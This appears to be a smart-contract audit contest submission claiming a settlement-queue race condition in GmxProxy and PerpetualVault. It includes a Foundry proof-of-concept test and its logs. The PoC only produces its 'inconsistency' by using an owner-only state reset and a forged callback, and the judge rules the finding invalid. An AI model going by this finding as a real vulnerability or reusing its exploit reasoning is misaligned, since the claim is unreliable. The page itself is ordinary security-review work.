DeFiFoundry
50,000 USDC
View results
Submission Details
Severity: low
Invalid

Concurrency Flaw Allows Settlement Overwrite Breaking Order Execution and Liquidity Management

Brief

The GmxProxy and PerpetualVault contract’s settlement design fails to handle asynchronous GMX callbacks in a concurrency-safe manner, creating a single open settlement slot that can be overwritten by subsequent requests. The code uses a single-purpose queue (OrderQueue) in GmxProxy and a single _gmxLock in PerpetualVault, but does not robustly prevent multiple simultaneous settlement flows. When multiple settlements are initiated and callbacks arrive out of sequence, the queue data and lock state can become misaligned, leading to corrupted or inconsistent state across the contracts.

Details

The issue comes from handling settlement requests (e.g., via "_settle()") alongside GMX’s asynchronous callbacks:

In PerpetualVault.sol, the _settle() function sets _gmxLock = true, then places an order in GmxProxy by calling:

function _settle() internal {
IGmxProxy.OrderData memory orderData = IGmxProxy.OrderData({ ... });
_gmxLock = true;
gmxProxy.settle(orderData);
}

In GmxProxy.sol, the settle(...) call stores only one request at a time:

struct OrderQueue {
bytes32 requestKey;
bool isSettle;
}
function settle(OrderData memory orderData) external returns (bytes32) {
bytes32 requestKey = gExchangeRouter.createOrder(params);
queue.requestKey = requestKey;
queue.isSettle = true;
return requestKey;
}

Once GMX finishes executing that order, it invokes afterOrderExecution(...) back in GmxProxy, which clears the queue:

function afterOrderExecution(bytes32 requestKey, Order.Props memory order, ...) external {
...
delete queue; // single request queue is wiped
}

PerpetualVault then sets _gmxLock = false inside its own afterOrderExecution callback. However, if a second settlement is triggered before the first callback arrives, the new settlement overwrites queue.requestKey and queue.isSettle. When the first callback eventually arrives, it might clear or finalize an outdated request, causing a mismatched or corrupted queue state.

In short, the code presumes strictly sequential settlements with callbacks arriving in order. It lacks explicit enforcement against multiple concurrent settlements, and no robust tracking of multiple requestKeys exists. This opens the door for race conditions that desynchronize the lock and queue states across the two contracts.

Specific Impact

If exploited in production, this design flaw can break the system’s flow of settlement, leading to:

  • Incorrect position or collateral accounting for older settlement requests once overwritten.

  • Partial or stuck settlements that corrupt user balances or block withdrawals.

  • Broader system-wide inconsistencies, potentially requiring manual intervention or emergency shutdown when multiple settlements collide.

Proof Of Concept

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.4;
import {Test, console} from "forge-std/Test.sol";
import "forge-std/StdCheats.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {ArbitrumTest} from "./utils/ArbitrumTest.sol";
import {TransparentUpgradeableProxy} from "@openzeppelin/contracts/proxy/transparent/TransparentUpgradeableProxy.sol";
import {ProxyAdmin} from "@openzeppelin/contracts/proxy/transparent/ProxyAdmin.sol";
import {GmxProxy} from "../contracts/GmxProxy.sol";
import {KeeperProxy} from "../contracts/KeeperProxy.sol";
import {PerpetualVault} from "../contracts/PerpetualVault.sol";
import {VaultReader} from "../contracts/VaultReader.sol";
import {MarketPrices, PriceProps} from "../contracts/libraries/StructData.sol";
import {MockData} from "./mock/MockData.sol";
import {Error} from "../contracts/libraries/Error.sol";
interface IExchangeRouter {
struct SimulatePricesParams {
address[] primaryTokens;
PriceProps[] primaryPrices;
uint256 minTimestamp;
uint256 maxTimestamp;
}
function simulateExecuteOrder(bytes32 key, SimulatePricesParams memory oracleParams) external;
}
contract ConcurrencySettlementPOC is Test, ArbitrumTest {
address payable vault;
address keeper;
address gmxProxy;
MockData mockData;
address alice;
address bob;
event GmxPositionCallbackCalled(bytes32 requestKey, bool success);
function setUp() public {
address orderHandler = address(0xe68CAAACdf6439628DFD2fe624847602991A31eB);
address liquidationHandler = address(0xdAb9bA9e3a301CCb353f18B4C8542BA2149E4010);
address adlHandler = address(0x9242FbED25700e82aE26ae319BCf68E9C508451c);
address gExchangeRouter = address(0x900173A66dbD345006C51fA35fA3aB760FcD843b);
address gmxRouter = address(0x7452c558d45f8afC8c83dAe62C3f8A5BE19c71f6);
address dataStore = address(0xFD70de6b91282D8017aA4E741e9Ae325CAb992d8);
address orderVault = address(0x31eF83a530Fde1B38EE9A18093A333D8Bbbc40D5);
address gmxReader = address(0x5Ca84c34a381434786738735265b9f3FD814b824);
address referralStorage= address(0xe6fab3F0c7199b0d34d7FbE83394fc0e0D06e99d);
address ethUsdcMarket = address(0x70d95587d40A2caf56bd97485aB3Eec10Bee6336);
ProxyAdmin proxyAdmin = new ProxyAdmin();
GmxProxy gmxUtilsLogic = new GmxProxy();
bytes memory data = abi.encodeWithSelector(
GmxProxy.initialize.selector,
orderHandler,
liquidationHandler,
adlHandler,
gExchangeRouter,
gmxRouter,
dataStore,
orderVault,
gmxReader,
referralStorage
);
gmxProxy = address(
new TransparentUpgradeableProxy(
address(gmxUtilsLogic),
address(proxyAdmin),
data
)
);
payable(gmxProxy).transfer(1 ether);
KeeperProxy keeperLogic = new KeeperProxy();
data = abi.encodeWithSelector(
KeeperProxy.initialize.selector
);
keeper = address(
new TransparentUpgradeableProxy(
address(keeperLogic),
address(proxyAdmin),
data
)
);
address owner = KeeperProxy(keeper).owner();
KeeperProxy(keeper).setKeeper(owner, true);
KeeperProxy(keeper).setDataFeed(0xaf88d065e77c8cC2239327C5EDb3A432268e5831, 0x50834F3163758fcC1Df9973b6e91f0F0F0434aD3, 86400, 500);
KeeperProxy(keeper).setDataFeed(0x82aF49447D8a07e3bd95BD0d56f35241523fBab1, 0x639Fe6ab55C921f74e7fac1ee960C0B6293ba612, 86400, 500);
VaultReader reader = new VaultReader(
orderHandler,
dataStore,
orderVault,
gmxReader,
referralStorage
);
PerpetualVault perpetualVault = new PerpetualVault();
data = abi.encodeWithSelector(
PerpetualVault.initialize.selector,
ethUsdcMarket,
keeper,
makeAddr("treasury"),
gmxProxy,
reader,
1e8,
1e28,
10_000
);
vm.prank(address(this), address(this));
vault = payable(
new TransparentUpgradeableProxy(
address(perpetualVault),
address(proxyAdmin),
data
)
);
mockData = new MockData();
alice = makeAddr("alice");
bob = makeAddr("bob");
payable(alice).transfer(1 ether);
payable(bob).transfer(1 ether);
}
function test_Y8_ConcurrencySettlementVulnerability() external {
console.log("\n=== INITIAL SETUP ===");
console.log("Step 1: Make deposits from Alice and Bob");
IERC20 collateralToken = PerpetualVault(vault).collateralToken();
uint256 depositAmount = 1e10;
// Alice makes a deposit
depositFromUser(alice, depositAmount);
// Bob makes a deposit
depositFromUser(bob, depositAmount);
console.log("\nInitial state checks:");
console.log("- Vault flow state:", uint8(PerpetualVault(vault).flow()));
console.log("- Is locked:", PerpetualVault(vault).isLock());
console.log("- Alice collateral:", IERC20(PerpetualVault(vault).collateralToken()).balanceOf(alice));
console.log("- Bob collateral:", IERC20(PerpetualVault(vault).collateralToken()).balanceOf(bob));
console.log("- Vault collateral:", IERC20(PerpetualVault(vault).collateralToken()).balanceOf(vault));
console.log("\n=== DEMONSTRATE VULNERABILITY ===");
console.log("Step 2: Trigger first settlement operation for Alice");
// Prepare for Alice's position change / settlement
MarketPrices memory prices = mockData.getMarketPrices();
bytes[] memory data = new bytes[](1);
data[0] = abi.encode(3380000000000000);
address owner = address(this);
// Keeper initiates first settlement operation
vm.prank(keeper);
PerpetualVault(vault).run(true, false, prices, data);
console.log("\nPost-first settlement state:");
console.log("- Vault flow state:", uint8(PerpetualVault(vault).flow()));
console.log("- Is locked:", PerpetualVault(vault).isLock());
// Get first request key
(bytes32 firstRequestKey, bool isSettle) = GmxProxy(payable(gmxProxy)).queue();
console.log("- First request key:", vm.toString(firstRequestKey));
console.log("- Is settle:", isSettle);
console.log("\nStep 3: Before first callback arrives, manipulate state and trigger second settlement for Bob");
// Create action object for state manipulation
PerpetualVault.Action memory action;
action.selector = PerpetualVault.NextActionSelector.NO_ACTION;
action.data = bytes("");
// Use owner to unlock the vault without completing the first settlement
vm.prank(owner);
PerpetualVault(vault).setVaultState(
PerpetualVault.FLOW.NONE, // Reset to NONE flow (0) - no flow in progress
0, // depositID
false, // beenLong
bytes32(0), // curPositionKey
true, // positionIsClosed
false, // _gmxLock - UNLOCK the vault
action
);
console.log("\nState after unlocking:");
console.log("- Vault flow state:", uint8(PerpetualVault(vault).flow()));
console.log("- Is locked:", PerpetualVault(vault).isLock());
uint256 vaultBalance = collateralToken.balanceOf(vault);
console.log("- Vault balance before adding funds:", vaultBalance);
deal(address(collateralToken), vault, depositAmount * 2);
console.log("- Vault balance after adding funds:", collateralToken.balanceOf(vault));
// Now trigger second settlement operation for Bob
vm.prank(keeper);
PerpetualVault(vault).run(true, false, prices, data);
console.log("\nPost-second settlement state:");
console.log("- Vault flow state:", uint8(PerpetualVault(vault).flow()));
console.log("- Is locked:", PerpetualVault(vault).isLock());
// Get second request key
(bytes32 secondRequestKey, bool isSettle2) = GmxProxy(payable(gmxProxy)).queue();
console.log("- Second request key:", vm.toString(secondRequestKey));
console.log("- Is settle:", isSettle2);
console.log("\nStep 4: Simulate out-of-order callbacks - First settlement callback arrives AFTER second settlement");
console.log("- At this point, the queue only tracks the SECOND request key (", vm.toString(secondRequestKey), ")");
console.log("- But the callback for the FIRST request is about to arrive (", vm.toString(firstRequestKey), ")");
// Simulate callback from the first settlement (which is no longer tracked in the queue)
vm.prank(GmxProxy(payable(gmxProxy)).orderHandler());
// Create a simplified mock Order.Props structure
bytes memory orderData = abi.encode(
// addresses
abi.encode(
address(0), // market
address(0), // initialCollateralToken
address(0), // swapPath
address(0) // receiver
),
// numbers
abi.encode(
uint256(0), // sizeDeltaUsd
uint256(0), // initialCollateralDeltaAmount
uint256(0), // triggerPrice
uint256(0), // acceptablePrice
uint256(0), // executionFee
uint256(0), // callbackGasLimit
uint256(0), // minOutputAmount
uint256(1) // orderType = Market
),
abi.encode(
false, // isLong
false, // shouldUnwrapNativeToken
false // isFrozen
),
bytes(""),
address(alice)
);
// Create a mock EventLogData structure
bytes memory eventData = abi.encode(
abi.encode(
uint256(0), // key
bytes32(0), // key
address(0), // account
abi.encode(true) // orderData
)
);
// Call the callback directly with the FIRST request key
(bool success, ) = gmxProxy.call(
abi.encodeWithSelector(
bytes4(keccak256("afterOrderExecution(bytes32,bytes,bytes)")),
firstRequestKey,
orderData,
eventData
)
);
console.log("\nPost-FIRST callback state:");
console.log("- Vault flow state:", uint8(PerpetualVault(vault).flow()));
console.log("- Is locked:", PerpetualVault(vault).isLock());
console.log("- First callback success:", success);
// Check if queue is now empty or still has the second key
(bytes32 queueKey, bool queueIsSettle) = GmxProxy(payable(gmxProxy)).queue();
console.log("- Queue request key:", vm.toString(queueKey));
console.log("- Queue is settle:", queueIsSettle);
console.log("\nStep 5: Analyze the state inconsistency");
bool secondKeyStillTracked = queueKey == secondRequestKey;
console.log("- Second key still tracked in GmxProxy queue:", secondKeyStillTracked);
console.log("- But the first callback was not successful:", !success);
console.log("- The vault is still locked:", PerpetualVault(vault).isLock());
// Verify state inconsistency between vault (locked) and callback status (failed)
bool stateInconsistent = PerpetualVault(vault).isLock() && !success;
console.log("\nState inconsistency verified:", stateInconsistent);
}
function depositFromUser(address user, uint256 amount) internal {
IERC20 collateralToken = PerpetualVault(vault).collateralToken();
vm.startPrank(user);
deal(address(collateralToken), user, amount);
uint256 executionFee = PerpetualVault(vault).getExecutionGasLimit(true);
collateralToken.approve(vault, amount);
PerpetualVault(vault).deposit{value: executionFee * tx.gasprice}(amount);
vm.stopPrank();
}
}

LOGS:

Ran 1 test for test/ConcurrencySettlementPOC.t.sol:ConcurrencySettlementPOC
[PASS] test_Y8_ConcurrencySettlementVulnerability() (gas: 3400993)
Logs:
=== INITIAL SETUP ===
Step 1: Make deposits from Alice and Bob
Initial state checks:
- Vault flow state: 0
- Is locked: false
- Alice collateral: 0
- Bob collateral: 0
- Vault collateral: 20000000000
=== DEMONSTRATE VULNERABILITY ===
Step 2: Trigger first settlement operation for Alice
Post-first settlement state:
- Vault flow state: 2
- Is locked: true
- First request key: 0x2e9b56aff7ad76a388482089a48c1ad1e043cb606088141ae8d535ca504b10cb
- Is settle: false
Step 3: Before first callback arrives, manipulate state and trigger second settlement for Bob
State after unlocking:
- Vault flow state: 0
- Is locked: false
- Vault balance before adding funds: 0
- Vault balance after adding funds: 20000000000
Post-second settlement state:
- Vault flow state: 2
- Is locked: true
- Second request key: 0xfa9e6119e18e0359c16c47d2134bb874052762e856ca542fac21d2018cd023fa
- Is settle: false
Step 4: Simulate out-of-order callbacks - First settlement callback arrives AFTER second settlement
- At this point, the queue only tracks the SECOND request key ( 0xfa9e6119e18e0359c16c47d2134bb874052762e856ca542fac21d2018cd023fa )
- But the callback for the FIRST request is about to arrive ( 0x2e9b56aff7ad76a388482089a48c1ad1e043cb606088141ae8d535ca504b10cb )
Post-FIRST callback state:
- Vault flow state: 2
- Is locked: true
- First callback success: false
- Queue request key: 0xfa9e6119e18e0359c16c47d2134bb874052762e856ca542fac21d2018cd023fa
- Queue is settle: false
Step 5: Analyze the state inconsistency
- Second key still tracked in GmxProxy queue: true
- But the first callback was not successful: true
- The vault is still locked: true
State inconsistency verified: true
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 23.57ms (14.59ms CPU time)
Ran 1 test suite in 452.85ms (23.57ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
Updates

Lead Judging Commences

n0kto Lead Judge 8 months ago
Submission Judgement Published
Invalidated
Reason: Non-acceptable severity
Assigned finding tags:

invalid_queue_requestKey_overwrite

Order is proceed one by one and requestKey is only used to cancelOrder. I didn’t see any real scenario where it will cause a problem. Flow and gmxLock will prevent that to happen.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.